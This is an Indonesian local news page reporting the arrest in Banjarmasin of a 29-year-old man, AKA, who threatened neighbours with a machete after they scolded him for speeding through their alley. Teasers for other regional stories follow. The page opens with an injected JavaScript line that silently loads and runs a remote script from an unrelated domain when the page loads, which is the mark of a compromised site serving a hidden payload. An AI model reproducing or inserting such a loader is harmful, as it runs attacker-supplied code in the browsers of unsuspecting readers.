(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: Kriminal Banjarmasin

Ditegur Ngebut dalam Gang, AKA Malah Ancam Warga Pakai Parang


KANALKALIMANTAN.COM, BANJARMASIN – Seorang pemuda diamankan aparat kepolisian dari Polsek Banjarmasin Barat. Lantaran melakukan perbuatan yang meresahkan warga di lingkungan tempat tinggalnya, Sabtu (20/6/2020) malam.

AKA, pemuda dibawa ke kantor polisi lantaran mengancam warga di Jalan Ir PHM Noor Gang H Idah, Banjarmasin. Dengan menggunakan parang, pemuda berumur 29 tahun itu mengancam warga. AKA mengancam karena tidak terima ditegur karena masuk ke permukiman warga naik sepeda motor dengan kecepatan tinggi. Oleh warga, ulah AKA naik sepeda motor kencang itu merasa terganggu, kemudian ditegur warga. Bukannya malah menuruti warga, AKA mengancam warga dengan parang.

Kapolsek Banjarmasin Barat Kompol Mars Suryo Kartiko melalui Kanit Reskrim Iptu Yadi Yatullah mengatakan, pelaku dengan inisial AKA (29) ditangkap karena mengancam salah satu warga lingkungan sekitar rumahnya dengan senjata tajam jenis parang.

“Merasa nyawanya terancam, warga yang diancam oleh AKA itu langsung melaporkan kejadian yang dialamainya kepada petugas piket ke Mapolsek Banjarmasin Barat,” ungkapnya, Senin (22/6/2020).

Berdasarkan laporan yang diterima, kejadian tersebut berawal dari adanya informasi dari warga sekitar. Karena seorang pemuda yang berkendara dengan kecepatan tinggi ketika memasuki Gang H Idah.

Tentu hal tersebut membuat warga lingkungan sekitar TKP merasa terganggu. Akhirnya warga pun menegur si pelaku yang dianggap membahayakan keselamatan warga dengan aksi kebut-kebutan itu.

“Merasa tersinggung dan kesal dengan teguran warga, pelaku yang saat itu dalam kondisi mabuk langsung mengambil sebilah parang dan mengamuk di lingkungan tempat tinggalnya itu,” jelas Yadi.

Hingga akhirnya petugas sampai di TKP dan langsung mengamankan pelaku. Beruntung tidak ada korban.

Pelaku sendiru bersama barang bukti berupa satu bilah senjata tajam jenis parang dengan panjang 68 cm, telah diamankan petugas di Mapolsek Banjarmasin Barat guna pemeriksaan hukum lebih lanjut. “Akibat perbuatannya pelaku ditetapkan sebagai tersangka dan dijerat Pasal 2 ayat (1) Undang-Undang Darurat, Nomor 12 tahun 1951,” tandasnya. (kanalkalimantan.com/fikri)

 

 

Reporter : fikri
Editor : bie

 


Al Ghifari

Recent Posts

Langganan Luapan Air di Ruas Jalan Mistar Cokrokusomo Cempaka

KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More

5 bulan ago

22 Januari: Asal Usul Hari Pejalan Kaki Nasional

KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More

5 bulan ago

Selewengkan Dana Program Kader Sosial HST, Terdakwa Ajukan Keberatan

KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More

5 bulan ago

Curah Hujan Diprediksi Masih Tinggi, BPBD Banjarbaru Catat 169 Rumah Terendam Banjir

KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More

5 bulan ago

Banjir Rob Masih Jadi Ancaman Warga Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More

5 bulan ago

Hujan Diprediksi Hingga Maret 2025, BPBD Banjar Imbau Masyarakat Waspada

KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More

5 bulan ago

This website uses cookies.